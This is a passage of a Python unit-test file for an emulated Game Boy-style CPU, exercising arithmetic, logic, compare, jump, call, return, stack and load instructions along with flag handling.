0)\n\t\timmediate2 = 0xff\n\t\tself.cpu[address] = immediate2\n\t\tself.cpu[dest] = immediate\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], (immediate - immediate2) & 255)\n\t\tself.assertEqual(self.cpu.getFlag('carry'), 1)\n\t\t\t\n\tdef AND_X_X_test(self, instruction, dest, src):\n\t\timmediate = 0xad\n\t\timmediate2 = 0xce if (dest != src) else immediate\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[src] = immediate2\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], immediate & immediate2)\n\n\tdef AND_X_XX_mem_test(self, instruction, dest, addressReg):\n\t\timmediate = 0xfa\n\t\timmediate2 = 0xce\n\t\taddress = 0x1337\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[address] = immediate2\n\t\tself.cpu[addressReg] = address\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], immediate & immediate2)\n\n\tdef XOR_X_X_test(self, instruction, dest, src):\n\t\timmediate = 0xad\n\t\timmediate2 = 0xce if (dest != src) else immediate\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[src] = immediate2\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], immediate ^ immediate2)\t\t\n\n\tdef XOR_X_XX_mem_test(self, instruction, dest, addressReg):\n\t\timmediate = 0xfa\n\t\timmediate2 = 0xce\n\t\taddress = 0x1337\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[address] = immediate2\n\t\tself.cpu[addressReg] = address\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], immediate ^ immediate2)\t\n\n\tdef OR_X_X_test(self, instruction, dest, src):\n\t\timmediate = 0xad\n\t\timmediate2 = 0xce if (dest != src) else immediate\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[src] = immediate2\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], immediate | immediate2)\t\t\t\n\n\tdef OR_X_XX_mem_test(self, instruction, dest, addressReg):\n\t\timmediate = 0xfa\n\t\timmediate2 = 0xce\n\t\taddress = 0x1337\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[address] = immediate2\n\t\tself.cpu[addressReg] = address\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], immediate | immediate2)\n\n\tdef CP_n_test(self, instruction):\n\t\timmediate = 0xce\n\t\timmediate2 = 0xfa \n\t\tself.cpu['a'] = immediate\n\t\tself.cpu[self.cpu['pc']+1] = immediate2\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu['a'], immediate)\n\t\tself.assertEqual(self.cpu.getFlag('zero'), 0)\n\t\tself.assertEqual(self.cpu.getFlag('carry'), 1)\n\t\timmediate = 0xce\n\t\timmediate2 = 0xce \n\t\tself.cpu['a'] = immediate\n\t\tself.cpu[self.cpu['pc']+1] = immediate2\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu['a'], immediate)\n\t\tself.assertEqual(self.cpu.getFlag('zero'), 1)\n\t\tself.assertEqual(self.cpu.getFlag('carry'), 0)\n\t\timmediate = 0xfa\n\t\timmediate2 = 0xce \n\t\tself.cpu['a'] = immediate\n\t\tself.cpu[self.cpu['pc']+1] = immediate2\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu['a'], immediate)\n\t\tself.assertEqual(self.cpu.getFlag('zero'), 0)\n\t\tself.assertEqual(self.cpu.getFlag('carry'), 0)\t\t\t\n\t\t\n\n\tdef CP_X_X_test(self, instruction, dest, src):\n\t\timmediate = 0xce\n\t\timmediate2 = 0xfa if (dest != src) else immediate\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[src] = immediate2\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], immediate)\n\t\tif (dest != src):\n\t\t\tself.assertEqual(self.cpu.getFlag('zero'), 0)\n\t\t\tself.assertEqual(self.cpu.getFlag('carry'), 1)\n\t\telse:\n\t\t\tself.assertEqual(self.cpu.getFlag('zero'), 1)\n\t\t\tself.assertEqual(self.cpu.getFlag('carry'), 0)\n\t\timmediate = 0xce\n\t\timmediate2 = 0xce if (dest != src) else immediate\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[src] = immediate2\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], immediate)\n\t\tself.assertEqual(self.cpu.getFlag('zero'), 1)\n\t\tself.assertEqual(self.cpu.getFlag('carry'), 0)\n\t\timmediate = 0xfa\n\t\timmediate2 = 0xce if (dest != src) else immediate\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[src] = immediate2 if (dest != src) else immediate\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], immediate)\n\t\tif (dest != src):\n\t\t\tself.assertEqual(self.cpu.getFlag('zero'), 0)\n\t\t\tself.assertEqual(self.cpu.getFlag('carry'), 0)\t\t\n\t\telse:\n\t\t\tself.assertEqual(self.cpu.getFlag('zero'), 1)\n\t\t\tself.assertEqual(self.cpu.getFlag('carry'), 0)\t\t\t\t\n\n\tdef CP_X_XX_mem_test(self, instruction, dest, addressReg):\n\t\timmediate = 0xce\n\t\timmediate2 = 0xfa\n\t\taddress = 0xbeef\n\t\tself.cpu[addressReg] = address\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[address] = immediate2\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], immediate)\n\t\tself.assertEqual(self.cpu.getFlag('zero'), 0)\n\t\tself.assertEqual(self.cpu.getFlag('carry'), 1)\n\t\timmediate = 0xce\n\t\timmediate2 = 0xce\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[address] = immediate2\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], immediate)\n\t\tself.assertEqual(self.cpu.getFlag('zero'), 1)\n\t\tself.assertEqual(self.cpu.getFlag('carry'), 0)\n\t\timmediate = 0xfa\n\t\timmediate2 = 0xce\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[address] = immediate2\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], immediate)\n\t\tself.assertEqual(self.cpu.getFlag('zero'), 0)\n\t\tself.assertEqual(self.cpu.getFlag('carry'), 0)\t\t\t\n\n\tdef RelJumpTest(self, instruction, condition, twobytes=0):\n\t\t#no jump\n\t\timmediate = 0b01010111 if (twobytes == 0) else 0x0ace\n\t\toldPC = self.cpu['pc']\n\t\tif (twobytes == 0):\n\t\t\tself.cpu[oldPC+1] = immediate\n\t\telse:\n\t\t\tself.cpu.mmu.ww(oldPC+1, immediate)\n\t\n\t\tif condition[0] != 'N' and condition != \".\":\n\t\t\tself.cpu.resetFlags([condition])\n\t\telif condition != \".\":\n\t\t\tself.cpu.setFlags([condition[1:]])\n\t\t\t\n\t\tinstruction(self.cpu)\n\t\tif (condition != \".\"):\n\t\t\tif (instruction.__name__.find(\"_JP\") == -1):\n\t\t\t\tself.assertEqual(self.cpu['pc'], oldPC + 2) #TODO: Is this right?\n\t\t\telse:\n\t\t\t\tself.assertEqual(self.cpu['pc'], oldPC + 3) \n\t\telse:\n\t\t\tif (instruction.__name__.find(\"_JP\") == -1):\n\t\t\t\tself.assertEqual(self.cpu['pc'], oldPC + immediate + 2)\n\t\t\telse:\n\t\t\t\tself.assertEqual(self.cpu['pc'], immediate)\n\t\t# jump\n\t\timmediate = 0b01010111 if (twobytes == 0) else 0x0ace\n\t\toldPC = self.cpu['pc']\n\t\tif (twobytes == 0):\n\t\t\tself.cpu[oldPC+1] = immediate\n\t\telse:\n\t\t\tself.cpu.mmu.ww(oldPC+1, immediate)\n\t\t\n\t\tif condition[0] == \"N\" and condition != \".\":\n\t\t\tself.cpu.resetFlags([condition[1:]])\n\t\telif condition != \".\":\n\t\t\tself.cpu.setFlags([condition])\n\t\t\t\n\t\tinstruction(self.cpu)\n\t\tif (instruction.__name__.find(\"_JP\") == -1):\n\t\t\tself.assertEqual(self.cpu['pc'], oldPC + immediate + 2)\n\t\telse:\n\t\t\tself.assertEqual(self.cpu['pc'], immediate)\n\t\t# negative jump\n\t\timmediate = 0b11010111 if (twobytes == 0) else 0xfffe\n\t\toldPC = self.cpu['pc']\n\t\tif (twobytes == 0):\n\t\t\tself.cpu[oldPC+1] = immediate\n\t\telse:\n\t\t\tself.cpu.mmu.ww(oldPC+1, immediate)\n\t\t\n\t\tif condition[0] == \"N\":\n\t\t\tself.cpu.resetFlags([condition[1:]])\n\t\telif condition != \".\":\n\t\t\tself.cpu.setFlags([condition])\n\t\t\t\n\t\tinstruction(self.cpu)\n\t\tif (instruction.__name__.find(\"_JP\") == -1):\n\t\t\tself.assertEqual(self.cpu['pc'], oldPC - ((~immediate + 1) & (2**(8*(twobytes+1)) - 1)) + 2)\t\t\n\t\telse:\n\t\t\tself.assertEqual(self.cpu['pc'], immediate)\n\n\tdef RET_test(self, instruction, condition):\n\t\tretAddress = 0x1337\n\t\tself.cpu.push(retAddress)\n\t\t# return\n\t\tif (condition[0] == 'N') and (condition != \".\"):\n\t\t\tself.cpu.resetFlags([condition[1:]])\n\t\telif (condition != \".\"):\n\t\t\tself.cpu.setFlags([condition])\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu['pc'], retAddress)\n\t\t\n\t\t# no return \n\t\tif condition != \".\":\n\t\t\tself.cpu['pc'] = 0\n\t\t\tif (condition[0] == 'N'):\n\t\t\t\tself.cpu.setFlags([condition[1:]])\n\t\t\telse:\n\t\t\t\tself.cpu.resetFlags([condition])\n\t\t\tinstruction(self.cpu)\n\t\t\tself.assertEqual(self.cpu['pc'], 1)\n\t\n\tdef CALL_nn_test(self, instruction, condition):\n\t\t# call\n\t\tcurrentAddress = 0x1337\n\t\tcallAddress = 0xface\n\t\tif condition == \".\":\n\t\t\tpass\n\t\telif condition[0] == \"N\":\n\t\t\tself.cpu.resetFlags([condition[1:]])\n\t\telse:\n\t\t\tself.cpu.setFlags([condition])\n\t\t\n\t\tself.cpu['pc'] = currentAddress\n\t\tself.cpu.mmu.ww(self.cpu['pc']+1, callAddress)\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu['pc'], callAddress)\n\t\tself.assertEqual(self.cpu.mmu.rw(self.cpu['sp']), currentAddress+3)\n\t\n\t\t# no call\n\t\tcurrentAddress = 0x1337\n\t\tcallAddress = 0xface\n\t\tif condition == \".\":\n\t\t\treturn\n\t\telif condition[0] == \"N\":\n\t\t\tself.cpu.setFlags([condition[1:]])\n\t\telse:\n\t\t\tself.cpu.resetFlags([condition])\n\t\t\n\t\tself.cpu['pc'] = currentAddress\n\t\tself.cpu.mmu.ww(self.cpu['pc']+1, callAddress)\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu['pc'], currentAddress+3)\t\t\n\t\n\tdef POP_XX_test(self, instruction, dest):\n\t\timmediate = 0xface\n\t\tself.cpu.push(immediate)\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], immediate)\n\n\tdef PUSH_XX_test(self, instruction, src):\n\t\timmediate = 0xbeef\n\t\tself.cpu[src] = immediate\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu.mmu.rw(self.cpu['sp']), immediate)\n\n\tdef ADD_X_n_test(self, instruction, dest, signed=0):\n\t\t# no carry\n\t\timmediate = 0xbe\n\t\timmediate2 = 0x01\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[self.cpu['pc']+1] = immediate2\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], (immediate + immediate2) & (2**(8*len(dest))-1))\n\t\tself.assertEqual(self.cpu.getFlag('carry'), 0)\n\t\t\n\t\t# carry\n\t\timmediate = 0xbe\n\t\timmediate2 = 0xff\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[self.cpu['pc']+1] = immediate2\n\t\tinstruction(self.cpu)\n\t\tif signed == 0:\n\t\t\tself.assertEqual(self.cpu[dest], (immediate + immediate2) & (2**(8*len(dest))-1))\n\t\telse:\n\t\t\tself.assertEqual(self.cpu[dest], (immediate - ((~immediate2+1)&255)) & (2**(8*len(dest))-1))\n\t\tself.assertEqual(self.cpu.getFlag('carry'), 1 if len(dest) == 1 else 0)\t\t\n\n\n\tdef RST_X_test(self, instruction, address):\n\t\tcurrentAddress = 0x1337\n\t\tself.cpu['pc'] = currentAddress\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu['pc'], int(address))\n\t\tself.assertEqual(self.cpu.mmu.rw(self.cpu['sp']), currentAddress+1)\n\n\tdef ADC_X_n_test(self, instruction, dest):\n\t\timmediate = 0xab\n\t\timmediate2 = 0xff\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[self.cpu['pc']+1] = immediate2\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], (immediate + immediate2) & 255)\n\t\tself.assertEqual(self.cpu.getFlag('carry'), 1)\n\t\timmediate = 0xab\n\t\timmediate2 = 0x01\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[self.cpu['pc']+1] = immediate2\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], (immediate + immediate2 + 1) & 255)\n\t\tself.assertEqual(self.cpu.getFlag('carry'), 0)\n\n\tdef SUB_X_n_test(self, instruction, dest):\n\t\timmediate = 0xab\n\t\timmediate2 = 0xbc\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[self.cpu['pc']+1] = immediate2\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], (immediate - immediate2) & 255)\n\t\tself.assertEqual(self.cpu.getFlag('carry'), 1)\n\t\t# no carry\n\t\timmediate = 0xab\n\t\timmediate2 = 0x01\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[self.cpu['pc']+1] = immediate2\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], (immediate - immediate2) & 255)\n\t\tself.assertEqual(self.cpu.getFlag('carry'), 0)\n\n\tdef SBC_X_n(self, instruction, dest):\n\t\timmediate = 0xab\n\t\timmediate2 = 0xff\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[self.cpu['pc']+1] = immediate2\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], (immediate - immediate2) & 255)\n\t\tself.assertEqual(self.cpu.getFlag('carry'), 1)\n\t\timmediate = 0xab\n\t\timmediate2 = 0x01\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[self.cpu['pc']+1] = immediate2\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], (immediate - immediate2 - 1) & 255)\n\t\tself.assertEqual(self.cpu.getFlag('carry'), 0)\t\t\n\n\t\n\n\t#def testNibbleSwap(self):\n\t#\tself.SetUp()\n\t#\tforward = 0b10100001\n\t#\treverse = 0b00011010\n\t#\tself.cpu['a'] = forward\n\t#\tself.cpu.nibbleSwap('a')\n\t#\tself.assertEqual(reverse,self.cpu['a'])\n\t\t#test memory swapping\n\t#\tself.cpu[0] = forward\n\t#\tself.cpu['h'],self.cpu['l'] = 0,0 # explicitly set address to low\n\t#\tself.cpu.nibbleHLSwap()\n\t#\tself.assertEqual(self.cpu[0],reverse)\n\n\t#def testResetSetAndGetBit(self):\n\t#\tself.SetUp()\n\t#\tself.cpu.setBit('a',0)\n\t#\tself.assertTrue(self.cpu.getBit('a',0))\n\t#\tself.assertEqual(self.cpu.registers['a'],0b00000001)\n\t#\tself.assertFalse(self.cpu.getBit('a',5))\n\t#\tself.cpu.setBit('a',5)\n\t#\tself.assertTrue(self.cpu.getBit('a',5))\n\t#\tself.assertEqual(self.cpu.registers['a'],0b00100001)\n\t#\tself.cpu.setBit('a',7)\n\t#\tself.assertEqual(self.cpu.registers['a'],0b10100001)\n\t#\tself.cpu.resetBit('a',5)\n\t#\tself.assertEqual(self.cpu.registers['a'],0b10000001)\n\t\t#self.assertRaises(Exception,self.cpu.setBit,'a',8)\n\t\t#self.assertRaises(Exception,self.cpu.setBit,'a',-2)\n\t\t#h and l start at 0\n\t#\tself.cpu.setMemoryBit('h','l',2)\n\t#\tself.assertEqual(self.cpu[0],0b0000100)\n\t#\tself.assertEqual(self.cpu.getMemoryBit('h','l',1),0)\n\t#\tself.assertEqual(self.cpu.getMemoryBit('h','l',2),1)\n\t\t\n\tdef testResetSetAndGetFlags(self):\n\t\tself.SetUp()\n\t\tself.assertEqual(self.cpu.getFlag('zero'),0)\n\t\tself.cpu.setFlags(['zero'])\n\t\tself.assertEqual(self.cpu.getFlag('zero'),1)\n\t\tself.assertEqual(self.cpu.registers['f'],0b10000000)\n\t\tself.cpu.resetFlags(['zero'])\n\t\tself.assertEqual(self.cpu.getFlag('zero'),0)\n\t\tself.assertEqual(self.cpu.registers['f'], 0)\n\t\tself.cpu.setFlags(['zero'])\n\t\tself.cpu.setFlags(['sub'])\n\t\tself.assertEqual(self.cpu.registers['f'], 0b11000000)\n\t\t\n\tdef test_i_NOP(self):\n\t\tself.SetUp()\n\t\toldFlags = self.cpu['f']\n\t\tself.cpu.i_NOP(self.cpu)\n\t\tself.flags_test({}, oldFlags)\n\t\t\n\tdef test_i_LD_BC_nn(self):\n\t\tself.SetUp()\n\t\timmediate = 0b0100111010110001\n\t\tself.cpu.mmu.ww(self.cpu.registers['pc']+1, immediate)\n\t\tself.cpu.i_LD_BC_nn(self.cpu)\n\t\tself.assertEqual(self.cpu.registers['c'], immediate & 255)\n\t\tself.assertEqual(self.cpu.registers['b'], immediate >> 8)\n\t\t\n\t\timmediate = 0b0000000010010110\n\t\t\n\t\tself.cpu.mmu.ww(self.cpu.registers['pc']+1, immediate)\n\t\tself.cpu.i_LD_BC_nn(self.cpu)\n\t\tself.assertEqual(self.cpu.registers['c'], immediate & 255)\n\t\tself.assertEqual(self.cpu.registers['b'], immediate >> 8)\n\t\t\n\tdef test_i_LD_BC_A_mem(self):\n\t\tself.SetUp()\n\t\taddress = 0xdeab\n\t\timmediate = 0b11101011\n\t\tself.cpu['a'] = immediate\n\t\tself.cpu['c'] = address & 255\n\t\tself.cpu['b'] = address >> 8\n\t\tself.cpu.i_LD__BC__A(self.cpu)\n\t\tself.assertEqual(self.cpu.mmu.rb(address), immediate)\n\t\t\n\tdef test_i_INC_BC(self):\n\t\tself.SetUp()\n\t\timmediate = 0b1110101100010100\n\t\tself.cpu['c'] = immediate & 255\n\t\tself.cpu['b'] = immediate >> 8\n\t\tself.cpu.i_INC_BC(self.cpu)\n\t\tself.assertEqual((self.cpu['b']<<8) + self.cpu['c'], immediate + 1)\n\t\timmediate = 0xaa\n\t\tself.cpu['c'] = immediate & 255\n\t\tself.cpu['b'] = immediate >> 8\n\t\tself.cpu.i_INC_BC(self.cpu)\n\t\tself.assertEqual((self.cpu['b']<<8) + self.cpu['c'], immediate + 1)\n\t\n\tdef test_i_INC_B(self):\n\t\tself.SetUp()\n\t\timmediate = 0b11101011\n\t\tself.cpu['b'] = immediate\n\t\toldFlags = self.cpu['f']\n\t\tself.cpu.i_INC_B(self.cpu)\n\t\tself.assertEqual(self.cpu['b'], immediate + 1)\n\t\tself.flags_test({ 'sub': 0, 'halfcarry' : 0}, oldFlags)\n\t\timmediate = 0xff\n\t\tself.cpu['b'] = immediate\n\t\toldFlags = self.cpu['f']\n\t\tself.cpu.i_INC_B(self.cpu)\n\t\tself.assertEqual(self.cpu['b'], (immediate+1) & 255)\n\t\tself.flags_test({ 'zero' : 1, 'sub' : 0, 'halfcarry' : 1}, oldFlags)\n\t\t\n\tdef test_i_DEC_B(self):\n\t\tself.SetUp()\n\t\timmediate = 0b11101011\n\t\tself.cpu['b'] = immediate\n\t\tself.cpu.i_DEC_B(self.cpu)\n\t\tself.assertEqual(self.cpu['b'], immediate - 1)\n\t\t#self.assertEqual(self.cpu.getFlag('carry'), 0)\n\t\timmediate = 0x00\n\t\tself.cpu['b'] = immediate\n\t\tself.cpu.i_DEC_B(self.cpu)\n\t\tself.assertEqual(self.cpu['b'], 0xff)\n\t\t#self.assertEqual(self.cpu.getFlag('carry'), 1)\n\t\t\n\tdef test_i_LD_B_n(self):\n\t\tself.SetUp()\n\t\tself.LD_X_n_test(self.cpu.i_LD_B_n, 'b')\n\t\t\n\tdef test_i_RLC_A(self):\n\t\tself.SetUp()\n\t\tself.RLC_X_test(self.cpu.i_RLC_A, 'a')\n\t\t\n\tdef test_i_LD_nn_SP(self):\n\t\tself.SetUp()\n\t\timmediate = 0xfa\n\t\tself.cpu.mmu.ww(self.cpu['pc']+1, immediate)\n\t\tself.cpu['sp'] = 1337\n\t\tself.cpu.i_LD__nn__SP(self.cpu)\n\t\tself.assertEqual(self.cpu.mmu.rw(0xfa), 1337)\n\t\t\n\tdef test_i_ADD_HL_BC(self):\n\t\tself.SetUp()\n\t\tself.ADD_XX_XX_test(self.cpu.i_ADD_HL_BC, 'hl', 'bc')\n\t\t\n\tdef test_i_LD_A_BC_mem(self):\n\t\tself.SetUp()\n\t\timmediate = 0xa0\n\t\taddress = 0xabbc\n\t\tself.cpu.mmu.wb(address, immediate)\n\t\tself.cpu['bc'] = address\n\t\tself.cpu.i_LD_A__BC_(self.cpu)\n\t\tself.assertEqual(self.cpu['a'], immediate)\n\t\n\tdef test_i_DEC_BC(self):\n\t\tself.SetUp()\n\t\tself.DecTest(self.cpu.i_DEC_BC, 'bc')\n\t\t\n\tdef test_i_INC_C(self):\n\t\tself.SetUp()\n\t\tself.IncTest(self.cpu.i_INC_C, 'c')\n\t\n\tdef test_i_DEC_C(self):\n\t\tself.SetUp()\n\t\tself.DecTest(self.cpu.i_DEC_C,'c')\n\t\t\n\tdef test_i_LD_C_n(self):\n\t\tself.SetUp()\n\t\tself.LD_X_n_test(self.cpu.i_LD_C_n, 'c')\n\t\t\n\tdef test_i_RRC_A(self):\n\t\tself.SetUp()\n\t\tself.RRC_X_test(self.cpu.i_RRC_A, 'a')\n\t\t\n\tdef test_i_STOP(self):\n\t\t#TODO: test properly\n\t\tpass\n\t\t\n\tdef test_i_LD_DE_nn(self):\n\t\tself.SetUp()\n\t\tself.LD_XX_nn_test(self.cpu.i_LD_DE_nn, 'de')\n\t\t\n\tdef test_i_LD_DE_A_mem(self):\n\t\tself.SetUp()\n\t\tself.LD_XX_X_mem_test(self.cpu.i_LD__DE__A, 'de', 'a')\n\t\n\tdef test_i_INC_DE(self):\n\t\tself.SetUp()\n\t\tself.IncTest(self.cpu.i_INC_DE, 'de')\n\t\t\n\tdef test_i_INC_D(self):\n\t\tself.SetUp()\n\t\tself.IncTest(self.cpu.i_INC_D, 'd')\n\t\t\n\tdef test_i_DEC_D(self):\n\t\tself.SetUp()\n\t\tself.DecTest(self.cpu.i_DEC_D, 'd')\n\t\t\n\tdef test_i_LD_D_n(self):\n\t\tself.SetUp()\n\t\tself.LD_X_n_test(self.cpu.i_LD_D_n, 'd')\n\t\t\n\tdef test_i_RL_A(self):\n\t\tself.SetUp()\n\t\tself.RL_X_test(self.cpu.i_RL_A, 'a')\n\t\t\n\tdef test_i_JR_n(self):\n\t\tself.SetUp()\n\t\timmediate = 0b01001001\n\t\toriginalPC = self.cpu['pc']\n\t\tself.cpu[self.cpu['pc']+1] = immediate\n\t\tself.cpu.i_JR_n(self.cpu)\n\t\tself.assertEqual(self.cpu['pc'], originalPC + immediate + 2)\n\t\tself.SetUp()\n\t\timmediate = 0b11001001\n\t\toriginalPC = 500\n\t\tself.cpu['pc'] = originalPC\n\t\t#print \"original PC: %s, immediate: %s, two's complement immediate: %s\" % (originalPC, immediate, (~immediate + 1))\n\t\tself.cpu[self.cpu['pc']+1] = immediate\n\t\tself.cpu.i_JR_n(self.cpu)\n\t\tself.assertEqual(self.cpu['pc'], originalPC - ((~immediate + 1) & 255) + 2)\n\t\n\tdef test_i_ADD_HL_DE(self):\n\t\tself.SetUp()\n\t\tself.ADD_XX_XX_test(self.cpu.i_ADD_HL_DE, 'hl', 'de')\n\t\t\n\tdef test_i_LD_A_DE_mem(self):\n\t\tself.SetUp()\n\t\tself.LD_X_XX_mem_test(self.cpu.i_LD_A__DE_, 'a', 'de')\n\t\n\tdef test_i_DEC_DE(self):\n\t\tself.SetUp()\n\t\tself.DecTest(self.cpu.i_DEC_DE, 'de')\n\t\t\n\tdef test_i_INC_E(self):\n\t\tself.SetUp()\n\t\tself.IncTest(self.cpu.i_INC_E, 'e')\n\t\n\tdef test_i_DEC_E(self):\n\t\tself.SetUp()\n\t\tself.DecTest(self.cpu.i_DEC_E, 'e')\n\t\t\n\tdef test_i_LD_E_n(self):\n\t\tself.SetUp()\n\t\tself.LD_X_n_test(self.cpu.i_LD_E_n, 'e')\n\t\t\n\tdef test_i_RR_A(self):\n\t\tself.SetUp()\n\t\tself.RR_X_test(self.cpu.i_RR_A, 'a')\n\t\t\n\tdef test_i_JR_NZ_n(self):\n\t\tself.SetUp()\n\t\tself.RelJumpTest(self.cpu.i_JR_NZ_n, 'Nzero')\n\t\t\n\tdef test_i_LD_HL_nn(self):\n\t\tself.SetUp()\n\t\tself.LD_XX_nn_test(self.cpu.i_LD_HL_nn, 'hl')\n\t\t\n\tdef test_i_LDI_HL_A_mem(self):\n\t\tself.SetUp()\n\t\tself.LDI_XX_X_mem_test(self.cpu.i_LDI__HL__A, 'hl', 'a')\n\t\t\n\tdef test_i_INC_HL(self):\n\t\tself.SetUp()\n\t\tself.IncTest(self.cpu.i_INC_HL, 'hl')\n\t\t\n\tdef test_i_INC_H(self):\n\t\tself.SetUp()\n\t\tself.IncTest(self.cpu.i_INC_H, 'h')\n\t\t\n\tdef test_i_DEC_H(self):\n\t\tself.SetUp()\n\t\tself.DecTest(self.cpu.i_DEC_H, 'h')\n\t\t\n\tdef test_i_LD_H_n(self):\n\t\tself.SetUp()\n\t\tself.LD_X_n_test(self.cpu.i_LD_H_n, 'h')\n\t\t\n\tdef test_i_DAA(self):\n\t\tself.SetUp()\n\t\timmediate = 0b00111100\n\t\tself.cpu['a'] = immediate\n\t\tself.cpu.i_DAA(self.cpu)\n\t\tself.assertEqual(self.cpu['a'], 0b01000010)\n\t\timmediate = 0b00110001\n\t\tself.cpu['a'] = immediate\n\t\tself.cpu.i_DAA(self.cpu)\n\t\tself.assertEqual(self.cpu['a'], immediate)\n\t\t\n\tdef test_i_JR_Z_n(self):\n\t\tself.SetUp()\n\t\tself.RelJumpTest(self.cpu.i_JR_Z_n, \"zero\")\n\t\t\t\t\n\tdef test_i_ADD_HL_HL(self):\n\t\tself.SetUp()\n\t\tself.ADD_XX_XX_test(self.cpu.i_ADD_HL_HL, 'hl', 'hl')\n\t\t\n\tdef test_i_LDI_A_HL_mem(self):\n\t\tself.SetUp()\n\t\tself.LDI_X_XX_mem_test(self.cpu.i_LDI_A__HL_, 'a', 'hl')\n\t\n\tdef test_i_DEC_HL(self):\n\t\tself.SetUp()\n\t\tself.DecTest(self.cpu.i_DEC_HL, 'hl')\n\t\t\n\tdef test_i_INC_L(self):\n\t\tself.SetUp()\n\t\tself.IncTest(self.cpu.i_INC_L, 'l')\n\t\t\n\tdef test_i_DEC_L(self):\n\t\tself.SetUp()\n\t\tself.DecTest(self.cpu.i_DEC_L, 'l')\n\t\t\n\tdef test_i_LD_L_n(self):\n\t\tself.SetUp()\n\t\tself.LD_X_n_test(self.cpu.i_LD_L_n, 'l')\n\t\t\n\tdef test_i_CPL(self):\n\t\tself.SetUp()\n\t\timmediate = 0b10111011\n\t\tself.cpu['a'] = immediate\n\t\tself.cpu.i_CPL(self.cpu)\n\t\tself.assertEqual(self.cpu['a'], 0b01000100)\n\t\t\n\tdef test_i_JR_NC_n(self):\n\t\tself.SetUp()\n\t\tself.RelJumpTest(self.cpu.i_JR_NC_n, \"Ncarry\")\n\t\t\n\tdef test_i_LD_SP_nn(self):\n\t\tself.SetUp()\n\t\tself.LD_XX_nn_test(self.cpu.i_LD_SP_nn, 'sp')\n\t\t\n\tdef test_i_LDD_HL_A(self):\n\t\tself.SetUp()\n\t\tself.LDD_XX_X_test(self.cpu.i_LDD__HL__A, 'hl', 'a')\n\t\t\n\tdef test_i_INC_SP(self):\n\t\tself.SetUp()\n\t\tself.IncTest(self.cpu.i_INC_SP, 'sp')\n\t\t\n\tdef test_i_INC_HL_mem(self):\n\t\tself.SetUp()\n\t\tself.INC_XX_mem_test(self.cpu.i_INC__HL_, 'hl')\n\t\t\n\tdef test_i_DEC_HL_mem(self):\n\t\tself.SetUp()\n\t\tself.DEC_XX_mem_test(self.cpu.i_DEC__HL_, 'hl')\n\t\t\n\tdef test_i_LD_HL_n_mem(self):\n\t\tself.SetUp()\n\t\tself.LD_XX_n_mem_test(self.cpu.i_LD__HL__n, 'hl')\n\t\t\n\tdef test_i_SCF(self):\n\t\tself.SetUp()\n\t\tself.cpu.setFlags(['zero', 'sub', 'halfcarry'])\n\t\toldFlags = self.cpu['f']\n\t\tself.cpu.i_SCF(self.cpu)\n\t\tself.flags_test({'carry':1, 'sub':0, 'halfcarry':0, 'zero':1}, oldFlags)\n\t\tself.cpu.resetFlags(['zero'])\n\t\tself.cpu.setFlags(['sub', 'halfcarry'])\n\t\toldFlags = self.cpu['f']\n\t\tself.cpu.i_SCF(self.cpu)\n\t\tself.flags_test({'carry':1, 'sub':0, 'halfcarry':0, 'zero':0}, oldFlags)\n\t\t\t\t\n\t\t\n\tdef test_i_JR_C_n(self):\n\t\tself.SetUp()\n\t\tself.RelJumpTest(self.cpu.i_JR_C_n, \"carry\")\n\t\t\n\tdef test_i_ADD_HL_SP(self):\n\t\tself.SetUp()\n\t\tself.ADD_XX_XX_test(self.cpu.i_ADD_HL_SP, 'hl', 'sp')\n\t\t\n\tdef 